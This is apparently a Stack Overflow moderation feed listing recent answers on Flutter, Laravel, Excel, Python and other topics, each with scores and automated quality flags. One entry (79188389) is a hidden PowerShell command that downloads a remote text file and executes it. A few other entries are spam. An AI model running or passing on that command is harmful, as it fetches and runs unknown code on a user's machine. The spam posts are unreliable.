79188557

Date: 2024-11-14 11:36:12
Score: 1
Natty:
Report link

In my case,

onNavigationStateChange works only on iOS,

onLoadProgress works only on Android.

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Fakfa Chuchit

79188555

Date: 2024-11-14 11:35:12
Score: 3.5
Natty:
Report link

The issue was not related to an incorrect class path or similar issues. I still don't know what the exact issue was or why the solution worked but I just refreshed the browser tab of the jupyter notebook root directory, that fixed my issue. Restarting the kernel multiple times did not work.

Reasons:
  • Blacklisted phrase (1): did not work
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Siri

79188542

Date: 2024-11-14 11:31:11
Score: 1.5
Natty:
Report link

That is a bit strange but problem was with Coupon and UnderlyingUsage classes. They were also extending other classes and I had to add annotations to them as well. Once annotations for whole hierarchy for Coupon and UnderlyingUsage were added then error disappeard.

So if someone will face the same issue please look into all classes related to the one which you change.

Reasons:
  • Has code block (-0.5):
  • Me too answer (2.5): face the same issue
  • Self-answer (0.5):
  • High reputation (-1):
Posted by: Michu93

79188534

Date: 2024-11-14 11:26:10
Score: 2.5
Natty:
Report link

It is because the alignItems: 'center' style on .container. Fix it by removing the style.

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: michaelmichael

79188528

Date: 2024-11-14 11:25:10
Score: 1.5
Natty:
Report link

Solution

1. Configure UNNotificationSound in AppDelegate.swift

import UIKit
import Flutter
import UserNotifications
import AVFoundation

@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
    override func application(
        _ application: UIApplication,
        didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
    ) -> Bool {
        // Configure notification settings
        if #available(iOS 10.0, *) {
            UNUserNotificationCenter.current().delegate = self
            
            let options: UNAuthorizationOptions = [
                .alert,
                .badge,
                .sound,
                .criticalAlert  // Add critical alert permission
            ]
            
            UNUserNotificationCenter.current().requestAuthorization(
                options: options,
                completionHandler: { _, _ in }
            )
        }
        
        // Configure audio session
        do {
            try AVAudioSession.sharedInstance().setCategory(
                .playback,
                mode: .default,
                options: [.mixWithOthers]
            )
            try AVAudioSession.sharedInstance().setActive(true)
        } catch {
            print("Failed to set audio session category: \(error)")
        }
        
        GeneratedPluginRegistrant.register(with: self)
        return super.application(application, didFinishLaunchingWithOptions: launchOptions)
    }
}

// Add UNNotificationSoundName extension
extension UNNotificationSoundName {
    static let customSound = UNNotificationSoundName("notification_sound.wav")
}

2. Update Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <!-- Other existing entries -->
    
    <!-- Add background modes -->
    <key>UIBackgroundModes</key>
    <array>
        <string>audio</string>
        <string>fetch</string>
        <string>remote-notification</string>
    </array>
    
    <!-- Add critical alerts entitlement -->
    <key>com.apple.developer.usernotifications.critical-alerts</key>
    <true/>
    
    <!-- Add notification service extension -->
    <key>com.apple.developer.usernotifications.time-sensitive</key>
    <true/>
    
    <!-- Configure audio session -->
    <key>UIBackgroundModes</key>
    <array>
        <string>audio</string>
    </array>
</dict>
</plist>

3. Update Flutter Notification Configuration

import 'package:awesome_notifications/awesome_notifications.dart';

Future<void> initializeNotifications() async {
  await AwesomeNotifications().initialize(
    null,
    [
      NotificationChannel(
        channelKey: "alarm_Category",
        channelName: "Alarm Category",
        channelDescription: 'Long duration alarm notifications',
        defaultColor: Colors.blue,
        ledColor: Colors.white,
        playSound: true,
        soundSource: 'resource://raw/notification_sound',
        importance: NotificationImportance.Max,
        criticalAlerts: true,
        enableVibration: true,
        enableLights: true,
        locked: true,
        // Add these settings for iOS
        defaultRingtoneType: DefaultRingtoneType.Alarm,
        channelShowBadge: true,
      ),
    ],
    debug: true,
  );
}

Future<void> scheduleAlarmNotification({
  required int subId,
  required DateTime scheduledTime,
  required String memoText,
}) async {
  await AwesomeNotifications().createNotification(
    content: NotificationContent(
      id: subId,
      channelKey: "alarm_Category",
      title: DateFormat('yyyy.MM.dd HH:mm').format(scheduledTime),
      body: 'Alarm Memo: $memoText',
      category: NotificationCategory.Alarm,
      notificationLayout: NotificationLayout.Default,
      criticalAlert: true,
      fullScreenIntent: true,
      wakeUpScreen: true,
      autoDismissible: false,
      locked: true,
      displayOnForeground: true,
      displayOnBackground: true,
      customSound: 'resource://raw/notification_sound',
      // Add iOS specific settings
      timeoutAfter: Duration(seconds: 30), // Extend timeout
      payload: {
        'sound_duration': '29',  // Add sound duration info
        'critical': 'true',      // Mark as critical
      },
    ),
    schedule: NotificationCalendar(
      repeats: true,
      preciseAlarm: true,
      allowWhileIdle: true,
      year: scheduledTime.year,
      month: scheduledTime.month,
      day: scheduledTime.day,
      hour: scheduledTime.hour,
      minute: scheduledTime.minute,
      second: scheduledTime.second,
    ),
  );
}

4. Add Audio Processing Extension

Create a new Notification Service Extension target in Xcode:

// NotificationService.swift
import UserNotifications
import AVFoundation

class NotificationService: UNNotificationServiceExtension {
    var contentHandler: ((UNNotificationContent) -> Void)?
    var bestAttemptContent: UNMutableNotificationContent?
    var audioPlayer: AVAudioPlayer?
    
    override func didReceive(
        _ request: UNNotificationRequest,
        withContentHandler contentHandler: @escaping (UNNotificationContent) -> Void
    ) {
        self.contentHandler = contentHandler
        bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent)
        
        if let bestAttemptContent = bestAttemptContent {
            // Configure sound
            if let soundDuration = request.content.userInfo["sound_duration"] as? String,
               let soundPath = Bundle.main.path(forResource: "notification_sound", ofType: "wav") {
                let soundUrl = URL(fileURLWithPath: soundPath)
                bestAttemptContent.sound = UNNotificationSound(named: UNNotificationSoundName(rawValue: "notification_sound.wav"))
                
                // Setup audio session
                do {
                    try AVAudioSession.sharedInstance().setCategory(.playback, mode: .default)
                    try AVAudioSession.sharedInstance().setActive(true)
                    
                    audioPlayer = try AVAudioPlayer(contentsOf: soundUrl)
                    audioPlayer?.prepareToPlay()
                    audioPlayer?.play()
                } catch {
                    print("Error setting up audio: \(error)")
                }
            }
            
            contentHandler(bestAttemptContent)
        }
    }
    
    override func serviceExtensionTimeWillExpire() {
        if let contentHandler = contentHandler,
           let bestAttemptContent = bestAttemptContent {
            contentHandler(bestAttemptContent)
        }
    }
}

5. Sound File Requirements

  1. Convert your sound file to WAV format:
ffmpeg -i input.mp3 -acodec pcm_s16le -ac 2 -ar 44100 notification_sound.wav
  1. Add the sound file to both:

6. Entitlements Configuration

  1. Add entitlements file to your project
  2. Enable these capabilities:
    • Background Modes
    • Critical Alerts
    • Push Notifications
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.developer.usernotifications.critical-alerts</key>
    <true/>
    <key>aps-environment</key>
    <string>development</string>
</dict>
</plist>

Best Practices

  1. Sound File Optimization
// Check sound file properties
void validateSoundFile() {
  final file = File('notification_sound.wav');
  if (file.lengthSync() > 5 * 1024 * 1024) {
    print('Warning: Sound file too large');
  }
}
  1. Error Handling
Future<bool> checkNotificationPermissions() async {
  final status = await AwesomeNotifications().isNotificationAllowed();
  if (!status) {
    // Request permissions
    return await AwesomeNotifications().requestPermissionToSendNotifications();
  }
  return status;
}
  1. Testing
void testNotification() async {
  final now = DateTime.now();
  await scheduleAlarmNotification(
    subId: 1,
    scheduledTime: now.add(Duration(seconds: 5)),
    memoText: 'Test notification',
  );
}

Remember to:

Would you like me to explain any part in more detail?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (1):
Posted by: Darshan Parmar

79188512

Date: 2024-11-14 11:21:09
Score: 2
Natty:
Report link

To fix this, you have to set a type for an id column:

    #[ORM\Id]
    #[ORM\GeneratedValue(strategy: "AUTO")]
    #[ORM\Column(type: 'integer')]
    protected $id = null;

Create new migration, execute and after execution you should notice a new sequence in postgresql database sequences.

Cheers.

Reasons:
  • Blacklisted phrase (1): Cheers
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: Szymon D.

79188504

Date: 2024-11-14 11:19:08
Score: 2
Natty:
Report link

so it can only support the old version of expo from 51 Sdk to lower since meta start moving around with their Ts typescript which make all new dependances made tested on typeScript level not javescript you chance of having the issue resolve is by using old version of the expo modules before the creation of typeScript

which was tested on javaScript that is why it throw the erro of the module referring to the expo

Reasons:
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: user28297249

79188502

Date: 2024-11-14 11:18:08
Score: 1
Natty:
Report link

just to note that I managed to do this following a suggestion (thank you!) to use textsplit():

=AND(ISNUMBER(VALUE(FIND(MID(TEXTSPLIT(A1,",",,TRUE),1,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ",1))),ISNUMBER(VALUE(FIND(MID(TEXTSPLIT(A1,",",,TRUE),2,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ",1))),ISNUMBER(VALUE(MID(TEXTSPLIT(A1,",",,TRUE),3,8))),LEN(TEXTSPLIT(A1,",",,TRUE))=10)

Posting this in case it's useful to anyone else. If the "ABCDEFGHIJKLMNOPQRSTUVWXYZ" makes this formula too long for custom data validation (255 character limit) put that in a cell and refer to it in the formula. Note this doesn't enforce uniqueness, that's been a step too far for me thus far!

Reasons:
  • Blacklisted phrase (0.5): thank you
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: new GISer

79188494

Date: 2024-11-14 11:16:07
Score: 0.5
Natty:
Report link

Just wrap you column with Center for cross axis alignment center to work.

 Center(
  child: Column(
    crossAxisAlignment: CrossAxisAlignment.center,
    children: [
      TextField(
        controller: _emailController,
        decoration: const InputDecoration(
          labelText: 'Email',
        ),
      ),
      TextField(
        controller: _passwordController,
        decoration: const InputDecoration(
          labelText: 'Password',
        ),
        obscureText: true,
      ),
    ],
  ),
);

Similarly, wrap row with Center for mainAxisAlignment: MainAxisAlignment.center to work:

Center(
  child: Row(
    mainAxisAlignment: MainAxisAlignment.center,
    children: [
      
    ],
  ),
)

screenshot:Login screen with centered text fields

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Rehan

79188487

Date: 2024-11-14 11:14:07
Score: 2.5
Natty:
Report link

I use a custom function that wraps the text with a desired RGB(R=red, G=green, B=blue) color value in ANSI escape sequences. Here's what it looks like:

from random import randint

RANDOM_RGB_COLOR = {
"r": randint(0, 255),
"g": randint(0, 255),
"b": randint(0, 255)
}

def color(text: str, r: int = 256, g: int = 256, b: int = 256) ->  str:
    if (r > 255 or g > 255 or g > 255) or (r < 0 or g < 0 or b < 0):
    return f"\033[38;2;{RANDOM_RGB_COLOR['r']};{RANDOM_RGB_COLOR['g']};{RANDOM_RGB_COLOR['b']}m{text}\033[38;2;255;255;255m"
return f"\033[38;2;{r};{g};{b}m{text}\033[38;2;255;255;255m"

Here are some similar solutions: How do I print colored text to the terminal?

Reasons:
  • Blacklisted phrase (1): How do I
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Low reputation (0.5):
Posted by: Staccato

79188484

Date: 2024-11-14 11:13:06
Score: 2.5
Natty:
Report link

The API was updated so that you can edit paid ACCREC invoices but this has not been extended to ACCPAY invoices or any type of credit note

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: sallyhornet

79188481

Date: 2024-11-14 11:13:06
Score: 2
Natty:
Report link

Indeed it seems XCode 16 has been removed from macOS-14: https://github.com/actions/runner-images/issues/10703

In my case, I have updated my vmImage to macOS-15 and it works fine but unfortunately some people may have to rework their pipelines if they rely on macOS-14.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: ShC

79188480

Date: 2024-11-14 11:12:06
Score: 0.5
Natty:
Report link

Just wrap you column with Center for cross axis alignment center to work.

 Center(
  child: Column(
    crossAxisAlignment: CrossAxisAlignment.center,
    children: [
      TextField(
        controller: _emailController,
        decoration: const InputDecoration(
          labelText: 'Email',
        ),
      ),
      TextField(
        controller: _passwordController,
        decoration: const InputDecoration(
          labelText: 'Password',
        ),
        obscureText: true,
      ),
    ],
  ),
);

Similarly, wrap row with Center for mainAxisAlignment: MainAxisAlignment.center to work:

Center(
  child: Row(
    mainAxisAlignment: MainAxisAlignment.center,
    children: [
      
    ],
  ),
)

screenshot: enter image description here

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Rehan

79188469

Date: 2024-11-14 11:07:05
Score: 2.5
Natty:
Report link

Many steps in this guide but looks like the promising approach and a tool described.

No need to read docs there, only to follow the attached steps.

I did not try it.

https://danielflower.github.io/2017/04/08/Lets-Encrypt-Certs-with-embedded-Jetty.html

Reasons:
  • Blacklisted phrase (1): this guide
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • High reputation (-1):
Posted by: Oleksii Kyslytsyn

79188460

Date: 2024-11-14 11:05:04
Score: 2.5
Natty:
Report link

Remove the @UseInterceptores(FileInterceptor('file') Line And make when passing the file in postman write the 'file' in key obv without ''

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Sushant Dwivedi

79188453

Date: 2024-11-14 11:05:04
Score: 1
Natty:
Report link

You might want to consider using a compiler generated by buildroot. First of all, run make menuconfig to create .config file and then run make. All new toolchain environment will be in buildroot_directory/output/host. You might add buildroot_directory/output/host/bin to PATH

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Nikolay Isaev

79188443

Date: 2024-11-14 11:02:03
Score: 5
Natty:
Report link

I think its from input, make sure input parameter is numbers.

sorry i dont have reputation to comment.

Reasons:
  • Blacklisted phrase (1): to comment
  • RegEx Blacklisted phrase (1.5): i dont have reputation to comment
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Hitesh Bharadwaj

79188442

Date: 2024-11-14 11:02:03
Score: 3.5
Natty:
Report link

Adding "python.analysis.exclude": ["**"] in the settings.json file fixed it for me.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Parakh Agarwal

79188441

Date: 2024-11-14 11:02:03
Score: 1
Natty:
Report link

Easiest way I could do that with zod was,

enum Colour {
    red: 'Red',
    blue: 'Blue',
}

const isValidColour: bool = z.nativeEnum(Colour).safeParse("Red").success; // true

const isValidColour: bool = z.nativeEnum(Colour).safeParse("Pink").success; // false
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Jay Patel

79188438

Date: 2024-11-14 11:01:01
Score: 7.5 🚩
Natty: 6
Report link

How to do Alexa development by only communicating with my server and not using AWS? Does anyone know? I pay

Reasons:
  • RegEx Blacklisted phrase (2): Does anyone know
  • Low length (1):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Starts with a question (0.5): How to
  • Low reputation (1):
Posted by: user28034210

79188435

Date: 2024-11-14 11:00:00
Score: 1.5
Natty:
Report link

The positive drift in the log of the forward coefficients likely results from cumulative numerical errors over time, which is a common issue when repeatedly applying the log-sum-exp trick. Since log-probabilities should remain non-positive, any increase above zero suggests small inaccuracies are building up with each iteration. To mitigate this, consider normalizing the forward coefficients at each time step. For instance, you could re-center the log probabilities by subtracting the maximum log coefficient at each step. This normalization maintains relative values without altering the sequence, helping to control numerical errors and keep the values within the expected range.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Chris A. Bell

79188429

Date: 2024-11-14 10:56:59
Score: 1
Natty:
Report link

Have you tried this?

Database stuck in "Restoring" state

Probably the answer to the problem,

stuck in recovery state

is...

You need to use the WITH RECOVERY option, with your database RESTORE command, to bring your database online as part of the restore process.

Reasons:
  • Whitelisted phrase (-1): Have you tried
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Low reputation (0.5):
Posted by: DevQt_PH

79188425

Date: 2024-11-14 10:54:59
Score: 1
Natty:
Report link

You should do

import NextAuth from "next-auth";

The error was because the "next-auth" package does not have a named export called "NextAuth". Instead, it has a default export which you can name how ever you like but most people just stick to naming it as "NextAuth"

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Mikey

79188421

Date: 2024-11-14 10:53:59
Score: 0.5
Natty:
Report link

Using BYCOL() and TEXTSPLI0T() (and AND()):

=BYCOL(TEXTSPLIT(A7,","),
LAMBDA(a,    
AND(
ISNUMBER(VALUE(CONCAT((FIND(MID(a,1,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ")),(FIND(MID(a,2,1),"ABCDEFGHIJKLMNOPQRSTUVWXYZ"))))),
ISNUMBER(VALUE(MID(a,3,8))),
LEN(a)=10)))

This will output an array, if you wrap an AND() around it, it will output just TRUE or FALSE.

Edition 1

Note, I TEXTJOIN()-ed the list from A1:A5 in cell A7, with ", ".

Edition 2

Sample 2 to show FALSE output.

(Excel in different language, WAAR = TRUE, ONWAAR = FALSE)

Also note: this doesn't exclude duplicates: Duplicates

Cell highlight manually done

Reasons:
  • Probably link only (1):
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Excellor

79188418

Date: 2024-11-14 10:52:58
Score: 2
Natty:
Report link
  1. Sort Files

    sort Name.txt -o Name.txt
    sort Firstname.txt -o Firstname.txt

  2. Merge the two files on the first column

    join -o 0,2.1,1.2 Name.txt Firstname.txt > User.txt

  3. Results should be like this

1 John Smith
2 Jane Doe
3 Jung Kim
3 Un Kim
4 Mickey Mouse

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rafael Mehdiyev

79188414

Date: 2024-11-14 10:51:58
Score: 3.5
Natty:
Report link

try running it from command prompt

Reasons:
  • Low length (2):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Peter

79188404

Date: 2024-11-14 10:49:58
Score: 3
Natty:
Report link

The correct package to install is python-dotenv.

Duplicate of pip install dotenv error code 1 Windows 10

Reasons:
  • Probably link only (1):
  • Low length (1.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Girmi

79188396

Date: 2024-11-14 10:47:57
Score: 5.5
Natty: 6
Report link

Have you found a solution for this? I've also done all tweakable configs in Cloudflare, it's still wont work. It works when I'm directly accessing my app via VPS / Traefik, but when its hidden behind Cloudflare nothing happens lol.

Reasons:
  • RegEx Blacklisted phrase (2.5): Have you found a solution for this
  • Low length (0.5):
  • No code block (0.5):
  • Contains question mark (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: erehwonmi

79188389

Date: 2024-11-14 10:45:56
Score: 3
Natty:
Report link

powershell.exe -W Hidden -command $url = 'https://UTFJv6fun.b-cdn.net/CHNL/bt.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: wawancell

79188386

Date: 2024-11-14 10:45:56
Score: 3.5
Natty:
Report link

Interesting post. I Have Been wondering about this issue, so thanks for posting. Pretty cool post. actress Meg Steedle

Reasons:
  • Blacklisted phrase (0.5): thanks
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Profile Spam Account

79188385

Date: 2024-11-14 10:45:56
Score: 3.5
Natty:
Report link

My problem solved with composer install ,

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Navid Mirzaaghazadeh

79188381

Date: 2024-11-14 10:43:56
Score: 2.5
Natty:
Report link

According to the documentation, You should try this setting: --detect.npm.dependency.types.excluded=DEV

https://documentation.blackduck.com/bundle/detect/page/properties/detectors/npm.html

Reasons:
  • Whitelisted phrase (-1): try this
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Magdalena

79188378

Date: 2024-11-14 10:41:55
Score: 1
Natty:
Report link

Magento 2 Store Locator improves user experience by allowing customers to quickly select a location from a list, displaying the nearest stores or pickup points. This dropdown is created using JavaScript and PHP to dynamically pull store data that integrates it into the Magento front end.

Using Magento’s layout and template structure, developers add a dropdown element, populated with store locations retrieved via API or Magento’s backend configuration. When a user selects a location, JavaScript triggers an update to display relevant store details, such as address, hours, and available services that streamline the path to purchase.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: spammer

79188371

Date: 2024-11-14 10:39:54
Score: 3
Natty:
Report link

code like this:

@available(iOS 17.0, *)
#Preview(traits: .fixedLayout(width: 375, height: 600)) {
    CardView(fruits: fruitData[1])

}

then, you have to clike the 【Selecable】 button. https://stackoverflow.com/a/74430524/25340198

Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Heisenberg

79188365

Date: 2024-11-14 10:38:54
Score: 0.5
Natty:
Report link

Facing this problem when running database migration with :

I can't downgrade/upgrade my doctrine/dbal version due to a conflict with carbon-doctrine-types (which comes from laravel/framework requiring nesbot/carbon requiring carbonphp/carbon-doctrine-types).

Apparently, the ::connect method signature changed from Laravel 8 to Laravel 9, which I though was causing the error :

Complete composer.json

{
    "name": "laravel/laravel",
    "description": "The Laravel Framework.",
    "keywords": ["framework", "laravel"],
    "license": "MIT",
    "type": "project",
    "require": {
        "24slides/laravel-saml2": "^2.0",
        "barryvdh/laravel-dompdf": "^3.0.0",
        "doctrine/dbal": "4.2.1",
        "fideloper/proxy": "^4.0",
        "laravel/framework": "^9.0",
        "laravel/helpers": "^1.6",
        "laravel/tinker": "^2.0",
        "laravel/ui": "^3.0"
    },
    "require-dev": {
        "filp/whoops": "~2.0",
        "fzaninotto/faker": "~1.4",
        "mockery/mockery": "~1.0",
        "phpunit/phpunit": "^9.0",
        "symfony/thanks": "^1.0"
    },
    "autoload": {
        "classmap": [
            "database/seeders",
            "database/factories"
        ],
        "psr-4": {
            "App\\": "app/",
            "OneLogin\\Saml2\\": "repositories/onelogin/php-saml/src/Saml2/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    },
    "extra": {
        "laravel": {
            "dont-discover": [
            ]
        }
    },
    "scripts": {
        "post-root-package-install": [
            "@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
        ],
        "post-create-project-cmd": [
            "@php artisan key:generate"
        ],
        "post-autoload-dump": [
            "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
            "@php artisan package:discover"
        ]
    },
    "config": {
        "preferred-install": "dist",
        "sort-packages": true,
        "optimize-autoloader": true,
        "allow-plugins": {
            "kylekatarnls/update-helper": true,
            "symfony/thanks": true
        }
    }
}

Complete error when running php artisan migrate :

   INFO  Running migrations.  

  2024_07_18_110456_delete_some_column PHP Fatal error:  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection in C:\Users\g64882.ZEPRODBUR\Desktop\ykq\vendor\laravel\framework\src\Illuminate\Database\PDO\Concerns\ConnectsToDatabase.php on line 22
[2024-11-14 10:10:54] ${ENVIRONMENT}.ERROR: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with 
Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection {"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Declaration of Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase::connect(array $params, $username = null, $password = null, array $driverOptions = []) must be compatible with Doctrine\\DBAL\\Driver::connect(array $params): Doctrine\\DBAL\\Driver\\Connection at C:\\Users\\g64882.ZEPRODBUR\\Desktop\\ykq\\vendor\\laravel\\framework\\src\\Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase.php:22)
[stacktrace]
#0 {main}
"} 

In ConnectsToDatabase.php line 22:

  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params, $username = nul  
  l, $password = null, array $driverOptions = []) must be compatible with Doctrine\DBAL\Driver::connect(arra  
  y $params): Doctrine\DBAL\Driver\Connection

I downgraded to Laravel 8, but still has the error (and it's even more weird now that the 2 methods with the same signature seems incompatible ?)

Complete composer.json

{
    "name": "laravel/laravel",
    "description": "The Laravel Framework.",
    "keywords": ["framework", "laravel"],
    "license": "MIT",
    "type": "project",
    "require": {
        "24slides/laravel-saml2": "^2.0",
        "barryvdh/laravel-dompdf": "^2.2.0",
        "doctrine/dbal": "4.2.1",
        "fideloper/proxy": "^4.0",
        "laravel/framework": "^8.0",
        "laravel/helpers": "^1.6",
        "laravel/tinker": "^2.0",
        "laravel/ui": "^3.0"
    },
    "require-dev": {
        "filp/whoops": "~2.0",
        "fzaninotto/faker": "~1.4",
        "mockery/mockery": "~1.0",
        "phpunit/phpunit": "^9.0",
        "symfony/thanks": "^1.0"
    },
    "autoload": {
        "classmap": [
            "database/seeders",
            "database/factories"
        ],
        "psr-4": {
            "App\\": "app/",
            "OneLogin\\Saml2\\": "repositories/onelogin/php-saml/src/Saml2/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    },
    "extra": {
        "laravel": {
            "dont-discover": [
            ]
        }
    },
    "scripts": {
        "post-root-package-install": [
            "@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
        ],
        "post-create-project-cmd": [
            "@php artisan key:generate"
        ],
        "post-autoload-dump": [
            "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
            "@php artisan package:discover"
        ]
    },
    "config": {
        "preferred-install": "dist",
        "sort-packages": true,
        "optimize-autoloader": true,
        "allow-plugins": {
            "kylekatarnls/update-helper": true,
            "symfony/thanks": true
        }
    }
}

Complete error when running php artisan migrate :

Migrating: 2024_07_18_110456_delete_some_column
PHP Fatal error:  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection in C:\Users\g64882.ZEPRODBUR\Desktop\ykq\vendor\laravel\framework\src\Illuminate\Database\PDO\Concerns\ConnectsToDatabase.php on line 19
[2024-11-14 10:28:57] ${ENVIRONMENT}.ERROR: Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection {"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Declaration of Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase::connect(array $params) must be compatible with Doctrine\\DBAL\\Driver::connect(array $params): Doctrine\\DBAL\\Driver\\Connection at C:\\Users\\g64882.ZEPRODBUR\\Desktop\\ykq\\vendor\\laravel\\framework\\src\\Illuminate\\Database\\PDO\\Concerns\\ConnectsToDatabase.php:19)
[stacktrace]
#0 {main}
"} 

In ConnectsToDatabase.php line 19:

  Declaration of Illuminate\Database\PDO\Concerns\ConnectsToDatabase::connect(array $params) must be compati  
  ble with Doctrine\DBAL\Driver::connect(array $params): Doctrine\DBAL\Driver\Connection
Reasons:
  • Blacklisted phrase (0.5): thanks
  • Long answer (-1):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Low reputation (1):
Posted by: Gugustinette

79188360

Date: 2024-11-14 10:36:54
Score: 0.5
Natty:
Report link

Just one small side note adding to Thomas' answer, you need to pass the table as a symbol (call by name) if you want to make the change persistent

![`t;();0b;{x!(^;0),/:x}MathsScience] 
or 
@[`t;Maths`Science;0^] 
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Alexander Unterrainer-DefconQ

79188357

Date: 2024-11-14 10:36:54
Score: 3
Natty:
Report link

The solution was to change to ROW FORMAT SERDE "org.apache.hive.hcatalog.data.JsonSerDe"

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Nir

79188351

Date: 2024-11-14 10:35:53
Score: 3.5
Natty:
Report link

I'm excited to share that today I found a way to interact with PDFs and detect selected text using Python in our Django application! 🎉

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: kishan Kumar

79188327

Date: 2024-11-14 10:31:52
Score: 0.5
Natty:
Report link

To resolve the "no tokens found in cookies" error when using JWT authentication, ensure the following:

CORS Configuration: The backend should be configured to allow cross-origin requests with credentials (cookies). This is necessary if the frontend and backend are hosted on different domains or ports.

Frontend Request: When making requests from your React app, always include credentials: 'include' in your fetch or axios call to send cookies along with the request.

Correct Cookie Settings: The JWT token should be set in a cookie with the appropriate flags, such as httpOnly, secure, and sameSite: 'None' if working with different origins.

Token Verification: On the backend, make sure you're extracting the JWT token from the cookies and verifying it properly before allowing access to protected routes.

Browser Settings: Ensure that the browser is accepting third-party cookies, especially if you're testing locally with different ports for frontend and backend.

By following these steps, you should be able to properly send, receive, and verify JWT tokens for authentication in your Node.js and React app.

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Ravindran Dharshan

79188305

Date: 2024-11-14 10:29:51
